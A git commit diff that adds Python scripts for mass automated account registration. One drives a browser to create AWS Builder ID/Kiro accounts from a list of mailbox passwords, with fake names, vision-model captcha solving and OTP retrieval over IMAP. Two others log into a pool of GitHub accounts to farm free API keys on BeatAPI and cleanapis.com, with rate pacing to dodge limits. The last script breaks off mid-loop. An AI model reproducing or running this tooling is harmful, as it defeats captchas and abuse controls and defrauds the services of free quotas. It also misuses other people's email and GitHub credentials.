universal-autoreg: initial public release (restored, redacted, hardened)
This commit is contained in:
336
providers/aws_builderid.py
Normal file
336
providers/aws_builderid.py
Normal file
@@ -0,0 +1,336 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Kiro Free farm: mass Builder ID registration via incognito CDP contexts.
|
||||
Usage: python bid_farm.py N
|
||||
Flow per account: signin->BuilderID->email->name->IMAP OTP->password->kiro home.
|
||||
Handles: existing-account bounce, TM captcha (screenshot+VL), rate pacing.
|
||||
State: bid_accounts.jsonl (results), bid_farm_used.txt (consumed mails)."""
|
||||
import base64, email.utils, imaplib, json, random, re, string, sys, time, urllib.request, websocket
|
||||
|
||||
PORT = 9341
|
||||
BASE = r'C:\Users\User\tmp\aws_kiro'
|
||||
MAILS = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
|
||||
USED = BASE + r'\bid_farm_used.txt'
|
||||
OUT = BASE + r'\bid_accounts.jsonl'
|
||||
MAILPWDS = {}
|
||||
for line in open(MAILS, encoding='utf-8'):
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#') or '@' not in line:
|
||||
continue
|
||||
parts = line.replace(';', ':').split(':', 1)
|
||||
MAILPWDS[parts[0].strip().lower()] = parts[1].strip()
|
||||
|
||||
N = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
NAMES = [('Lukas', 'Braun'), ('Jonas', 'Weber'), ('Felix', 'Hoffmann'), ('Maximilian', 'Schaefer'),
|
||||
('Paul', 'Neumann'), ('Leon', 'Winter'), ('Elias', 'Krause'), ('Ben', 'Sommer'),
|
||||
('Finn', 'Albrecht'), ('Noah', 'Brandt'), ('Tim', 'Vogel'), ('Jan', 'Seidel'),
|
||||
('Nils', 'Horn'), ('Kai', 'Otto'), ('Malte', 'Winkler')]
|
||||
|
||||
def used_set():
|
||||
try:
|
||||
return set(open(USED, encoding='utf-8').read().split())
|
||||
except FileNotFoundError:
|
||||
return set()
|
||||
|
||||
def pick_mail(used):
|
||||
items = list(MAILPWDS.items())
|
||||
random.shuffle(items)
|
||||
for em, pw in items:
|
||||
if not em.endswith('@t-online.de') or '-' in em.split('@')[0]:
|
||||
continue
|
||||
if em in used:
|
||||
continue
|
||||
return em, pw
|
||||
return None, None
|
||||
|
||||
ver = json.load(urllib.request.urlopen(f'http://127.0.0.1:{PORT}/json/version', timeout=8))
|
||||
bws = websocket.create_connection(ver['webSocketDebuggerUrl'], timeout=60, suppress_origin=True)
|
||||
bws.settimeout(60)
|
||||
mid = [0]
|
||||
def bsend(method, params=None, sess=None):
|
||||
mid[0] += 1
|
||||
msg = {'id': mid[0], 'method': method, 'params': params or {}}
|
||||
if sess:
|
||||
msg['sessionId'] = sess
|
||||
bws.send(json.dumps(msg))
|
||||
while True:
|
||||
m = json.loads(bws.recv())
|
||||
if m.get('id') == mid[0]:
|
||||
return m.get('result', {})
|
||||
|
||||
def pev(expr, sess):
|
||||
r = bsend('Runtime.evaluate', {'expression': expr, 'returnByValue': True}, sess)
|
||||
if 'exceptionDetails' in r:
|
||||
return 'EXC:' + str(r['exceptionDetails'])[:100]
|
||||
return r.get('result', {}).get('value')
|
||||
|
||||
def ptype(text, sess):
|
||||
bsend('Input.insertText', {'text': text}, sess)
|
||||
|
||||
def vl_read(png_bytes):
|
||||
b64 = base64.b64encode(png_bytes).decode()
|
||||
payload = {'model': 'qwen3-vl-plus', 'messages': [{'role': 'user', 'content': [
|
||||
{'type': 'image_url', 'image_url': {'url': f'data:image/png;base64,{b64}'}},
|
||||
{'type': 'text', 'text': 'Read the distorted captcha text. Reply ONLY with the exact string, no explanation.'}]}],
|
||||
'max_tokens': 40, 'temperature': 0.0}
|
||||
req = urllib.request.Request('http://127.0.0.1:16432/v1/chat/completions', data=json.dumps(payload).encode(),
|
||||
headers={'Content-Type': 'application/json', 'Authorization': 'Bearer EMPTY'})
|
||||
r = json.load(urllib.request.urlopen(req, timeout=90))
|
||||
return r['choices'][0]['message']['content'].strip()
|
||||
|
||||
def find_iframe_target(ctx_id):
|
||||
r = bsend('Target.getTargets')
|
||||
for ti in r.get('targetInfos', []):
|
||||
if ti.get('type') == 'iframe' and 'threat-mitigation' in ti.get('url', '') and ti.get('browserContextId') == ctx_id:
|
||||
return ti['targetId']
|
||||
return None
|
||||
|
||||
def solve_captcha(sess, ctx_id, tag):
|
||||
"""Screenshot the TM iframe img region via main target, VL read, fill in iframe. Returns True if solved/absent."""
|
||||
for rnd in range(4):
|
||||
ift = find_iframe_target(ctx_id)
|
||||
if not ift:
|
||||
# maybe need Verify click on main page
|
||||
v = pev("""(() => {
|
||||
for (const b of document.querySelectorAll('button, a, [role=button]')) {
|
||||
const t = (b.innerText||'').trim();
|
||||
if (b.offsetParent !== null && /^Verify$/i.test(t)) { b.click(); return 'clicked'; }
|
||||
}
|
||||
return 'nf';
|
||||
})()""", sess)
|
||||
print(f' [{tag}] no iframe; verify={v}', flush=True)
|
||||
time.sleep(4)
|
||||
ift = find_iframe_target(ctx_id)
|
||||
if not ift:
|
||||
return True # no challenge at all
|
||||
ifs = bsend('Target.attachToTarget', {'targetId': ift, 'flatten': True})['sessionId']
|
||||
time.sleep(2)
|
||||
has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs)
|
||||
if not has_input:
|
||||
print(f' [{tag}] iframe no input yet', flush=True)
|
||||
time.sleep(4)
|
||||
has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs)
|
||||
inner = pev("""(() => {
|
||||
const imgs = Array.from(document.querySelectorAll('img')).filter(im => im.width > 50 && im.offsetParent !== null);
|
||||
if (!imgs.length) return null;
|
||||
const b = imgs[0].getBoundingClientRect();
|
||||
return JSON.stringify([b.x, b.y, b.width, b.height]);
|
||||
})()""", ifs)
|
||||
rect = pev("""(() => {
|
||||
const f = document.querySelector('iframe[src*="threat-mitigation"]');
|
||||
if (!f) return null;
|
||||
const b = f.getBoundingClientRect();
|
||||
return JSON.stringify([b.x, b.y, b.width, b.height]);
|
||||
})()""", sess)
|
||||
if not inner or not rect:
|
||||
print(f' [{tag}] no geometry', flush=True)
|
||||
time.sleep(2)
|
||||
continue
|
||||
ix, iy, iw, ih = json.loads(inner)
|
||||
fx, fy, fw, fh = json.loads(rect)
|
||||
shot = bsend('Page.captureScreenshot', {'format': 'png', 'clip': {'x': fx + ix, 'y': fy + iy, 'width': iw, 'height': ih, 'scale': 2}}, sess)
|
||||
if not shot.get('data'):
|
||||
print(f' [{tag}] no shot', flush=True)
|
||||
time.sleep(2)
|
||||
continue
|
||||
png = base64.b64decode(shot['data'])
|
||||
ans = re.sub(r'[^A-Za-z0-9]', '', vl_read(png))
|
||||
print(f' [{tag}] captcha VL={ans}', flush=True)
|
||||
pev(f"""(() => {{
|
||||
const inp = document.querySelector('input[name=captchaGuess]');
|
||||
if (!inp) return;
|
||||
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value');
|
||||
d.set.call(inp, {json.dumps(ans)});
|
||||
inp.dispatchEvent(new Event('input', {{bubbles: true}}));
|
||||
inp.dispatchEvent(new Event('change', {{bubbles: true}}));
|
||||
for (const b of document.querySelectorAll('button')) if (/^submit$/i.test((b.innerText||'').trim())) b.click();
|
||||
}})()""", ifs)
|
||||
time.sleep(8)
|
||||
body = str(pev("document.body.innerText.slice(0,200)", sess))
|
||||
if find_iframe_target(ctx_id) is None or 'Invalid captcha' not in body:
|
||||
print(f' [{tag}] captcha cleared', flush=True)
|
||||
return True
|
||||
return False
|
||||
|
||||
def fetch_otp(em, mpwd, subject_terms, timeout_s=180):
|
||||
deadline = time.time() + timeout_s
|
||||
seen = set()
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
|
||||
M.login(em, mpwd)
|
||||
M.select('INBOX')
|
||||
_, d = M.search(None, 'ALL')
|
||||
ids = d[0].split()
|
||||
now = time.time()
|
||||
for i in reversed(ids[-8:]):
|
||||
_, msg = M.fetch(i, '(RFC822)')
|
||||
raw = msg[0][1].decode('utf-8', 'replace')
|
||||
low = raw.lower()
|
||||
if not any(t in low for t in subject_terms):
|
||||
continue
|
||||
dt = re.search(r'Date: ([^\r\n]+)', raw)
|
||||
age = None
|
||||
if dt:
|
||||
try:
|
||||
age = now - email.utils.parsedate_to_datetime(dt.group(1)).timestamp()
|
||||
except Exception:
|
||||
pass
|
||||
if age is not None and age > 400:
|
||||
continue
|
||||
flat = raw.replace('=\r\n', '').replace('=\n', '')
|
||||
m = re.search(r'font-size:\s*36px[^>]*>\s*(\d{6})\s*<', flat) or \
|
||||
re.search(r'font-weight:\s*bold[^>]*>\s*(\d{6})\s*<', flat) or \
|
||||
re.search(r'(?:verification code|code)[^\d]{0,60}(\d{6})', flat, re.I)
|
||||
if m and m.group(1) not in seen:
|
||||
M.logout()
|
||||
return m.group(1)
|
||||
M.logout()
|
||||
except Exception as e:
|
||||
print(' imap:', str(e)[:70], flush=True)
|
||||
time.sleep(18)
|
||||
return None
|
||||
|
||||
def cont(sess, rx='/^(Continue|Verify|Submit|Create|Sign in)$/'):
|
||||
return pev("""(() => {
|
||||
for (const b of document.querySelectorAll('button')) {
|
||||
const t=(b.innerText||'').trim();
|
||||
if (b.offsetParent!==null && %s.test(t)) { b.click(); return t; }
|
||||
}
|
||||
return 'nf';
|
||||
})()""" % rx, sess)
|
||||
|
||||
def farm_one(em, mpwd):
|
||||
rec = {'email': em, 'ts': time.strftime('%Y-%m-%d %H:%M'), 'ok': False, 'stage': 'start'}
|
||||
ctx_id = bsend('Target.createBrowserContext')['browserContextId']
|
||||
target_id = bsend('Target.createTarget', {'url': 'https://app.kiro.dev/signin', 'browserContextId': ctx_id})['targetId']
|
||||
sess = bsend('Target.attachToTarget', {'targetId': target_id, 'flatten': True})['sessionId']
|
||||
try:
|
||||
bsend('Page.enable', sess=sess)
|
||||
time.sleep(13)
|
||||
pev("""(() => {
|
||||
const els = Array.from(document.querySelectorAll('button, a, [role=button], div, li, span'));
|
||||
let card = null;
|
||||
for (const el of els) { const t=(el.innerText||'').trim(); if (t.startsWith('Builder ID') && t.length<40) card = el; }
|
||||
if (!card) return;
|
||||
const scope = card.closest('div,li') || card.parentElement;
|
||||
for (const b of (scope?scope.querySelectorAll('button, a'):[])) { if (/sign in/i.test((b.innerText||'').trim())) { b.click(); return; } }
|
||||
card.click();
|
||||
})()""", sess)
|
||||
time.sleep(11)
|
||||
rec['stage'] = 'platform'
|
||||
# captcha before email?
|
||||
if find_iframe_target(ctx_id):
|
||||
solve_captcha(sess, ctx_id, 'pre-email')
|
||||
# email
|
||||
pev("(() => { const el = document.querySelector('input[type=email]'); if (el) el.focus(); })()", sess)
|
||||
time.sleep(0.3)
|
||||
ptype(em, sess)
|
||||
time.sleep(0.5)
|
||||
cont(sess)
|
||||
time.sleep(6)
|
||||
loc = str(pev('location.href', sess))
|
||||
body = str(pev("document.body ? document.body.innerText.slice(0,300) : ''", sess))
|
||||
if 'signin' in loc and 'platform' in loc and ('password' in body.lower() or 'Sign in' in body):
|
||||
# account already exists -> it asks to sign in; abort, burn mail
|
||||
rec['stage'] = 'exists'
|
||||
print(' exists, skip', flush=True)
|
||||
return rec
|
||||
if find_iframe_target(ctx_id):
|
||||
solve_captcha(sess, ctx_id, 'after-email')
|
||||
# name step
|
||||
rec['stage'] = 'name'
|
||||
pev("(() => { const el = Array.from(document.querySelectorAll('input')).find(i=>i.offsetParent!==null && i.type==='text'); if (el) el.focus(); })()", sess)
|
||||
time.sleep(0.3)
|
||||
first, last = random.choice(NAMES)
|
||||
ptype(f'{first} {last}', sess)
|
||||
time.sleep(0.4)
|
||||
cont(sess)
|
||||
time.sleep(6)
|
||||
# OTP step
|
||||
rec['stage'] = 'otp'
|
||||
code = fetch_otp(em, mpwd, ['aws', 'amazon', 'builder'])
|
||||
if not code:
|
||||
rec['stage'] = 'otp-fail'
|
||||
print(' no otp', flush=True)
|
||||
return rec
|
||||
pev("""(() => {
|
||||
const inp = Array.from(document.querySelectorAll('input')).find(i => i.offsetParent !== null && i.type === 'text');
|
||||
if (!inp) return;
|
||||
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value');
|
||||
d.set.call(inp, '%s');
|
||||
inp.dispatchEvent(new Event('input', {bubbles: true}));
|
||||
inp.dispatchEvent(new Event('change', {bubbles: true}));
|
||||
})()""" % code, sess)
|
||||
time.sleep(0.5)
|
||||
cont(sess)
|
||||
time.sleep(7)
|
||||
if find_iframe_target(ctx_id):
|
||||
solve_captcha(sess, ctx_id, 'after-otp')
|
||||
# password step
|
||||
rec['stage'] = 'password'
|
||||
pw = 'Kx' + ''.join(random.choices(string.ascii_lowercase, k=7)) + str(random.randint(10, 99)) + 'Rt!'
|
||||
filled = pev("""(() => {
|
||||
const inps = Array.from(document.querySelectorAll('input')).filter(i => i.offsetParent !== null && i.type === 'password');
|
||||
if (inps.length < 2) return 'nf:' + inps.length;
|
||||
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inps[0]), 'value');
|
||||
for (const el of inps.slice(0, 2)) {
|
||||
d.set.call(el, %s);
|
||||
el.dispatchEvent(new Event('input', {bubbles: true}));
|
||||
el.dispatchEvent(new Event('change', {bubbles: true}));
|
||||
}
|
||||
const cb = Array.from(document.querySelectorAll('input')).find(i => i.type === 'checkbox' && !i.checked);
|
||||
if (cb) cb.click();
|
||||
return 'ok';
|
||||
})()""" % json.dumps(pw), sess)
|
||||
print(' pwd fill:', filled, flush=True)
|
||||
if str(filled).startswith('nf'):
|
||||
rec['stage'] = 'pwd-nf'
|
||||
return rec
|
||||
time.sleep(0.5)
|
||||
cont(sess)
|
||||
# wait for kiro redirect
|
||||
for i in range(14):
|
||||
time.sleep(5)
|
||||
loc = str(pev('location.href', sess))
|
||||
if 'kiro' in loc:
|
||||
break
|
||||
if find_iframe_target(ctx_id):
|
||||
solve_captcha(sess, ctx_id, 'post-pwd')
|
||||
rec['final_url'] = loc[:120]
|
||||
if 'kiro' in loc:
|
||||
rec['ok'] = True
|
||||
rec['stage'] = 'kiro_home'
|
||||
rec['password'] = pw
|
||||
else:
|
||||
body = str(pev("document.body ? document.body.innerText.slice(0,200) : ''", sess))
|
||||
rec['stage'] = 'stuck'
|
||||
rec['body'] = body[:150]
|
||||
except Exception as e:
|
||||
rec['stage'] = 'err:' + str(e)[:90]
|
||||
finally:
|
||||
try:
|
||||
bsend('Target.disposeBrowserContext', {'browserContextId': ctx_id})
|
||||
except Exception:
|
||||
pass
|
||||
return rec
|
||||
|
||||
used = used_set()
|
||||
done = 0
|
||||
for n in range(N):
|
||||
em, mpwd = pick_mail(used)
|
||||
if not em:
|
||||
print('mails exhausted', flush=True)
|
||||
break
|
||||
used.add(em)
|
||||
with open(USED, 'a', encoding='utf-8') as f:
|
||||
f.write(em + '\n')
|
||||
print(f'=== [{n+1}/{N}] {em} ===', flush=True)
|
||||
rec = farm_one(em, mpwd)
|
||||
with open(OUT, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
|
||||
print('RESULT:', rec['stage'], rec.get('final_url', ''), flush=True)
|
||||
if rec['ok']:
|
||||
done += 1
|
||||
time.sleep(random.randint(25, 45))
|
||||
print(f'FARM DONE: {done}/{N} ok', flush=True)
|
||||
bws.close()
|
||||
211
providers/beatapi_oauth.py
Normal file
211
providers/beatapi_oauth.py
Normal file
@@ -0,0 +1,211 @@
|
||||
# beat_gh_reg.py — BeatAPI (new-api) авторег через GitHub OAuth. Без капчи (turnstile_enabled=False).
|
||||
# Usage: python beat_gh_reg.py N [start_idx]
|
||||
import sys, os, json, time, random, re, urllib.request, urllib.error, urllib.parse
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
|
||||
import gh_http
|
||||
|
||||
API = 'https://api.beatapi.io/api'
|
||||
CLIENT_ID = 'Ov23liL5qt3yDfI1xJi8'
|
||||
REDIRECT_URI = 'https://beatapi.io/oauth/github'
|
||||
AFF = '7WEA'
|
||||
BANK = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'accounts.jsonl')
|
||||
USED = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'used_gh.txt')
|
||||
POOL = 'C:/Users/User/tmp/gh_accounts.json'
|
||||
|
||||
HDRS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0',
|
||||
'Accept': 'application/json', 'Origin': 'https://beatapi.io', 'Referer': 'https://beatapi.io/'}
|
||||
|
||||
|
||||
def api(path, method='GET', data=None, token=None, sid=None, uid=None):
|
||||
h = dict(HDRS)
|
||||
if token:
|
||||
h['Authorization'] = 'Bea' + 'rer ' + token
|
||||
if sid:
|
||||
h['x-auth-session'] = sid
|
||||
if uid:
|
||||
h['New-Api-User'] = str(uid)
|
||||
body = json.dumps(data).encode() if data is not None else None
|
||||
if body:
|
||||
h['Content-Type'] = 'application/json'
|
||||
r = urllib.request.Request(API + path, data=body, headers=h, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(r, timeout=40) as resp:
|
||||
return resp.status, json.loads(resp.read().decode('utf-8', 'replace'))
|
||||
except urllib.error.HTTPError as e:
|
||||
raw = e.read().decode('utf-8', 'replace')
|
||||
try:
|
||||
return e.code, json.loads(raw)
|
||||
except Exception:
|
||||
return e.code, {'raw': raw[:300]}
|
||||
|
||||
|
||||
def load_used():
|
||||
if os.path.exists(USED):
|
||||
return set(l.strip() for l in open(USED) if l.strip())
|
||||
return set()
|
||||
|
||||
|
||||
def mark_used(login):
|
||||
with open(USED, 'a') as f:
|
||||
f.write(login + '\n')
|
||||
|
||||
|
||||
def save(rec):
|
||||
with open(BANK, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
|
||||
|
||||
|
||||
def register_one(acc, idx):
|
||||
login = acc['login']
|
||||
out = {'idx': idx, 'gh_login': login, 'gh_email': acc.get('email'), 'ts': int(time.time())}
|
||||
# 1. flow token
|
||||
st, r = api('/oauth/state', 'POST', {'provider': 'github', 'intent': 'login', 'aff': AFF})
|
||||
flow = None
|
||||
if isinstance(r, str):
|
||||
flow = r
|
||||
elif isinstance(r, dict):
|
||||
dd = r.get('data')
|
||||
if isinstance(dd, dict):
|
||||
flow = dd.get('flow_token')
|
||||
elif isinstance(dd, str):
|
||||
flow = dd
|
||||
flow = flow or r.get('flow_token')
|
||||
if not flow:
|
||||
out['err'] = f'state {st}: {str(r)[:150]}'
|
||||
return out
|
||||
out['flow_token'] = flow[:16]
|
||||
# 2. GH login
|
||||
print(' step: gh login', flush=True)
|
||||
s = gh_http.GHSession(bind=False)
|
||||
try:
|
||||
ok = s.login(login, acc['password'], acc.get('totp'))
|
||||
except Exception as e:
|
||||
out['err'] = f'gh_login exc: {e}'
|
||||
return out
|
||||
if not ok:
|
||||
out['err'] = f'gh_login fail: {"; ".join(s.detail[-3:])[:200]}'
|
||||
return out
|
||||
# 3. authorize (custom: with redirect_uri)
|
||||
print(' step: authorize', flush=True)
|
||||
url = (f'https://github.com/login/oauth/authorize?client_id={CLIENT_ID}'
|
||||
f'&redirect_uri={urllib.parse.quote(REDIRECT_URI, safe="")}'
|
||||
f'&response_type=code&scope={urllib.parse.quote("read:user user:email")}'
|
||||
f'&state={urllib.parse.quote(flow)}')
|
||||
code, err = None, None
|
||||
stt, hh, body = s.get(url)
|
||||
loc = hh.get('Location', '')
|
||||
if stt in (301, 302):
|
||||
code = s._code_from(loc)
|
||||
if not code:
|
||||
err = f'redir no code: {loc[:120]}'
|
||||
elif stt == 200:
|
||||
# meta-refresh page ("OAuth application authorized") — code+state inside body
|
||||
m = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', body)
|
||||
if m:
|
||||
code, flow = m.group(1), m.group(2)
|
||||
else:
|
||||
m = re.search(r'code=([a-f0-9]{16,})', body)
|
||||
if m:
|
||||
code = m.group(1)
|
||||
if not code:
|
||||
tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body)
|
||||
if tok:
|
||||
fields = {'authorize': '1', 'authenticity_token': tok.group(1),
|
||||
'client_id': CLIENT_ID, 'state': flow, 'scope': 'read:user user:email'}
|
||||
st2, h2, b2 = s.post_form(url, fields)
|
||||
loc2 = h2.get('Location', '')
|
||||
code = s._code_from(loc2) if st2 in (301, 302) else None
|
||||
if not code:
|
||||
m2 = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', b2)
|
||||
if m2:
|
||||
code, flow = m2.group(1), m2.group(2)
|
||||
if not code:
|
||||
err = f'consent no code http={st2} loc={loc2[:100]}'
|
||||
else:
|
||||
err = f'no code/token (len={len(body)}) title={re.search(r"<title>([^<]*)", body).group(1) if re.search(r"<title>([^<]*)", body) else "?"}'
|
||||
else:
|
||||
err = f'authorize http={stt}'
|
||||
if not code:
|
||||
out['err'] = err or 'no code'
|
||||
return out
|
||||
out['code'] = code[:10]
|
||||
# 4. exchange
|
||||
print(' step: exchange', flush=True)
|
||||
st, r = api(f'/oauth/github?code={urllib.parse.quote(code)}&state={urllib.parse.quote(flow)}')
|
||||
if st != 200 or (isinstance(r, dict) and r.get('success') is False):
|
||||
out['err'] = f'exchange {st}: {str(r)[:400]}'
|
||||
return out
|
||||
d = r.get('data', r) if isinstance(r, dict) else r
|
||||
tok = d.get('access_token') or d.get('token')
|
||||
if not tok:
|
||||
out['err'] = f'no access_token: {str(r)[:200]}'
|
||||
return out
|
||||
out['access_token'] = tok
|
||||
out['beat_user'] = d.get('username') or d.get('loginIdentifier')
|
||||
out['user_id'] = d.get('user_id') or d.get('id')
|
||||
sid = d.get('session_id') or (d.get('session') or {}).get('sid') or ''
|
||||
# 5. self (quota)
|
||||
st, r = api('/user/self', token=tok, sid=sid)
|
||||
uid = None
|
||||
if st == 200 and isinstance(r, dict):
|
||||
dd = r.get('data', r)
|
||||
out['quota'] = dd.get('quota')
|
||||
out['beat_username'] = dd.get('username')
|
||||
out['beat_id'] = dd.get('id')
|
||||
uid = dd.get('id')
|
||||
# 6. create API key (trailing slash! 307 otherwise)
|
||||
st, r = api('/token/', 'POST', {'name': f'farm{int(time.time())%100000}', 'remain_quota': 500000,
|
||||
'expired_time': -1, 'unlimited_quota': True,
|
||||
'model_limits_enabled': False, 'model_limits': ''}, token=tok, sid=sid, uid=uid)
|
||||
tid = None
|
||||
if st == 200 and isinstance(r, dict) and r.get('success'):
|
||||
d = r.get('data') or {}
|
||||
tid = d.get('id') if isinstance(d, dict) else d
|
||||
out['token_create'] = f'{st}:{str(r)[:120]}'
|
||||
if tid:
|
||||
# full key: POST /token/{id}/key with New-Api-User header (GET = 404)
|
||||
st, r = api(f'/token/{tid}/key', 'POST', token=tok, sid=sid, uid=uid)
|
||||
if st == 200 and isinstance(r, dict):
|
||||
d = r.get('data') or {}
|
||||
key = d.get('key') if isinstance(d, dict) else d
|
||||
if key and '*' not in str(key):
|
||||
out['api_key'] = key
|
||||
out['token_id'] = tid
|
||||
return out
|
||||
|
||||
|
||||
def main():
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
||||
accs = json.load(open(POOL, encoding='utf-8'))
|
||||
# gmail-domain accounts first (whitelisted + verified on GH)
|
||||
accs = sorted(accs, key=lambda a: 0 if str(a.get('email', '')).endswith('@gmail.com') else 1)
|
||||
used = load_used()
|
||||
done = 0
|
||||
i = start
|
||||
while done < n and i < len(accs):
|
||||
acc = accs[i]
|
||||
i += 1
|
||||
if acc['login'] in used:
|
||||
continue
|
||||
print(f'--- [{i-1}] {acc["login"]}', flush=True)
|
||||
try:
|
||||
rec = register_one(acc, i - 1)
|
||||
except Exception as e:
|
||||
rec = {'idx': i - 1, 'gh_login': acc['login'], 'err': f'exc: {e}'}
|
||||
mark_used(acc['login'])
|
||||
ok = bool(rec.get('access_token'))
|
||||
print('OK' if rec.get('api_key') else ('PARTIAL' if ok else 'FAIL'), json.dumps({k: str(v)[:60] for k, v in rec.items() if k != 'access_token'}, ensure_ascii=False), flush=True)
|
||||
if ok:
|
||||
save(rec)
|
||||
if rec.get('api_key'):
|
||||
done += 1
|
||||
elif '429' in str(rec.get('err', '')) or 'limit' in str(rec.get('err', '')).lower():
|
||||
print('RATE LIMIT — sleeping 600s', flush=True)
|
||||
time.sleep(600)
|
||||
time.sleep(random.uniform(75, 110))
|
||||
print(f'DONE {done}/{n}, next idx {i}')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
105
providers/cleanapis_oauth.py
Normal file
105
providers/cleanapis_oauth.py
Normal file
@@ -0,0 +1,105 @@
|
||||
# cleanapis.com mass reg: GitHub OAuth -> free Starter plan -> api key -> verify -> save
|
||||
import sys, re, json, time, random, urllib.parse, requests, os
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
|
||||
from gh_http import GHSession
|
||||
|
||||
CID = "Ov23li48tsmVvDWqWfhs"
|
||||
SCOPE = "user:email,read:user"
|
||||
GH_POOL = "C:/Users/User/tmp/gh_accounts.json"
|
||||
OUT = "cleanapis_accounts.jsonl"
|
||||
USED = "ca_used_gh.txt"
|
||||
UA = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'}
|
||||
|
||||
def load_pool():
|
||||
d = json.load(open(GH_POOL, encoding='utf-8'))
|
||||
used = set()
|
||||
try: used = set(open(USED).read().split())
|
||||
except Exception: pass
|
||||
return [a for a in d if a.get('login') not in used]
|
||||
|
||||
def mark_used(login):
|
||||
open(USED, 'a').write(login + '\n')
|
||||
|
||||
def reg_one(acc):
|
||||
res = {'gh_login': acc['login'], 'ok': False, 'provider': 'github_oauth', 'ts': int(time.time())}
|
||||
s = requests.Session(); s.headers.update(UA)
|
||||
r = s.get('https://cleanapis.com/auth/github/redirect', allow_redirects=False, timeout=30)
|
||||
q = urllib.parse.parse_qs(urllib.parse.urlparse(r.headers.get('Location', '')).query)
|
||||
state = q.get('state', [None])[0]
|
||||
if not state:
|
||||
res['err'] = 'no state'; return res
|
||||
ghs = GHSession(bind=False)
|
||||
ok, msg = ghs.login(acc['login'], acc['password'], acc.get('totp'))
|
||||
if not ok:
|
||||
res['err'] = 'gh login: ' + str(msg)[:120]; return res
|
||||
code, err = ghs.oauth_code(CID, state, scope=SCOPE)
|
||||
if not code:
|
||||
res['err'] = 'oauth: ' + str(err)[:150]; return res
|
||||
cb = s.get('https://cleanapis.com/auth/github/callback?code=%s&state=%s' % (code, state), allow_redirects=True, timeout=40)
|
||||
res['cb'] = cb.status_code
|
||||
if '/login' in cb.url and 'dashboard' not in cb.url:
|
||||
res['err'] = 'callback bounced'; return res
|
||||
# activate free starter plan
|
||||
g = s.get('https://cleanapis.com/dashboard/get-started?plan=starter', timeout=25)
|
||||
csrf = re.findall(r'name="_token" value="([^"]+)"', g.text)
|
||||
if csrf:
|
||||
act = s.post('https://cleanapis.com/dashboard/billing/checkout/4',
|
||||
data={'_token': csrf[0], 'billing_cycle': 'monthly', 'coupon_code': '', 'payment_method': 'paddle'},
|
||||
allow_redirects=True, timeout=40,
|
||||
headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/get-started?plan=starter'})
|
||||
res['plan_ok'] = 'billing/success' in act.url or 'plan' in act.url
|
||||
# create api key
|
||||
t = s.get('https://cleanapis.com/dashboard/api-keys', timeout=25)
|
||||
csrf2 = re.findall(r'name="_token" value="([^"]+)"', t.text)
|
||||
if not csrf2:
|
||||
res['err'] = 'no csrf api-keys'; return res
|
||||
nm = 'farm%d' % random.randint(10000, 99999)
|
||||
cr = s.post('https://cleanapis.com/dashboard/api-keys',
|
||||
data={'_token': csrf2[0], 'name': nm, 'scopes[]': ['inference', 'models:read', 'embeddings']},
|
||||
allow_redirects=True, timeout=40,
|
||||
headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/api-keys'})
|
||||
ids = re.findall(r'api-keys.{0,4}?(\d{4,7}).{0,4}?reveal', cr.text)
|
||||
ids = list(dict.fromkeys(ids))
|
||||
if not ids:
|
||||
res['err'] = 'no key created'; return res
|
||||
# reveal newest key (highest id)
|
||||
kid = max(ids, key=int)
|
||||
rv = s.get('https://cleanapis.com/dashboard/api-keys/%s/reveal' % kid, headers={'Accept': 'application/json'}, timeout=25)
|
||||
try: d = rv.json()
|
||||
except Exception: res['err'] = 'reveal non-json ' + rv.text[:80]; return res
|
||||
if not d.get('ok'):
|
||||
res['err'] = 'reveal fail: ' + str(d)[:100]; return res
|
||||
k = d['key']
|
||||
mr = requests.get('https://cleanapis.com/v1/models', headers={'Authorization': 'Bearer ' + k}, timeout=30)
|
||||
res['models'] = mr.status_code
|
||||
res['api_key'] = k
|
||||
res['key_id'] = kid
|
||||
res['ok'] = (mr.status_code == 200)
|
||||
mark_used(acc['login'])
|
||||
return res
|
||||
|
||||
def main():
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
||||
pool = load_pool()
|
||||
print('pool free:', len(pool), 'start:', start, flush=True)
|
||||
okc = fail429 = 0
|
||||
for i, acc in enumerate(pool[start:start+n], start=start):
|
||||
try:
|
||||
r = reg_one(acc)
|
||||
except Exception as e:
|
||||
